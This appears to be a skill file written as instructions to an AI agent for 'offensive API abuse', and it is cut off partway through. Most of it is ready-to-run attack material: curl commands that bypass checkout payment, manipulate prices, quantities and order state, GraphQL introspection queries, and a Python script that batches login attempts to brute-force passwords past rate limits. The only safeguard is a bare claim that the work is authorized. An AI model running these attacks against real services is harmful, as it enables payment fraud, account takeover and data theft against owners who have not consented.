offensive-api-abuse

# Offensive API Abuse and Advanced Exploitation

You are conducting authorized security assessments targeting the business logic layer of API-driven applications. Traditional vulnerability scanners miss the attack patterns in this skill because they require understanding of application workflows, state transitions, and trust relationships between API endpoints. Your goal is to identify vulnerabilities that allow financial manipulation, data exfiltration through legitimate channels, privilege escalation via workflow abuse, and service disruption through logic-layer attacks.

## Quick Workflow

1. Map the complete API surface including undocumented endpoints using Arjun, ParamSpider, and manual discovery.
2. Model the business workflows: identify multi-step transactions, state machines, and trust chains between endpoints.
3. Test each workflow for race conditions using parallel request techniques.
4. Extract and analyze JWTs for algorithm confusion, weak signing, and claim injection opportunities.
5. If GraphQL is present, test batching for brute-force amplification, query depth for DoS, and introspection for schema leakage.
6. Probe pagination for data enumeration and exfiltration opportunities.
7. Test webhook configurations for SSRF and callback hijacking.
8. Search for API key leakage in client code, error responses, and public repositories.
9. Verify all discovered endpoints for authorization consistency.
10. Document business impact for each finding with financial or operational consequence estimates.

---

## Business Logic Bypass via API Chaining

Business logic vulnerabilities emerge when individual API endpoints are secure in isolation but the workflow connecting them has exploitable gaps. You identify these by mapping the intended transaction flow and then deviating from it.

```bash
# E-commerce checkout bypass
# Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
# Attack: skip payment and go directly to confirm

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "PROD-001", "quantity": 1}' \
  "https://target.example.com/api/v1/cart/items" | jq .

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"coupon_code": "SAVE20"}' \
  "https://target.example.com/api/v1/cart/coupon" | jq .

# Skip payment -- attempt direct order confirmation
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id": "CART-12345"}' \
  "https://target.example.com/api/v1/orders/confirm" | jq .
```

```bash
# Price manipulation: add expensive item for free shipping, calculate, remove it
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "EXPENSIVE-001", "quantity": 1}' \
  "https://target.example.com/api/v1/cart/items"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/cart/calculate"

curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/cart/items/EXPENSIVE-001"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"payment_method": "card_on_file"}' \
  "https://target.example.com/api/v1/cart/pay"
```

```bash
# State manipulation, negative quantities, currency confusion
curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status": "pending"}' \
  "https://target.example.com/api/v1/orders/ORD-5001"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "PROD-001", "quantity": -1}' \
  "https://target.example.com/api/v1/cart/items"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"amount": 100, "currency": "IDR"}' \
  "https://target.example.com/api/v1/payments"
```

---

## GraphQL Batching and Abuse

GraphQL APIs introduce unique attack surfaces through query batching, introspection, and nested query execution that bypass rate limiting and authorization controls.

```bash
# Full introspection query -- extract types and mutations
curl -s -X POST -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' \
  "https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == "OBJECT")'

curl -s -X POST -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query": "{ __schema { mutationType { fields { name args { name type { name kind } } } } } }"}' \
  "https://target.example.com/graphql" | jq '.data.__schema.mutationType.fields[].name'
```

Batching for brute-force amplification -- send multiple authentication attempts in a single HTTP request to bypass per-request rate limiting:

```python
#!/usr/bin/env python3
"""GraphQL batching for authentication brute-force amplification."""
import requests, json, sys

TARGET = "https://target.example.com/graphql"
BATCH_SIZE = 50

def run_batch_brute(email, wordlist_path):
    with open(wordlist_path) as f:
        passwords = [line.strip() for line in f if line.strip()]

    for i in range(0, len(passwords), BATCH_SIZE):
        batch = passwords[i:i + BATCH_SIZE]
        payload = [
            {"query": f'mutation a{j} {{ login(email: "{email}", password: "{pwd}") {{ token success }} }}'}
            for j, pwd in enumerate(batch)
        ]
        resp = requests.post(TARGET, json=payload, headers={"Content-Type": "application/json"})
        if resp.status_code == 429:
            print(f"[!] Rate limited at batch index {i}")
            break
        for j, result in enumerate(resp.json()):
            if result.get("data", {}).get("login", {}).get("success"):
                print(f"[+] Valid: {email}:{batch[j]}")
                return
        print(f"  Batch {i // BA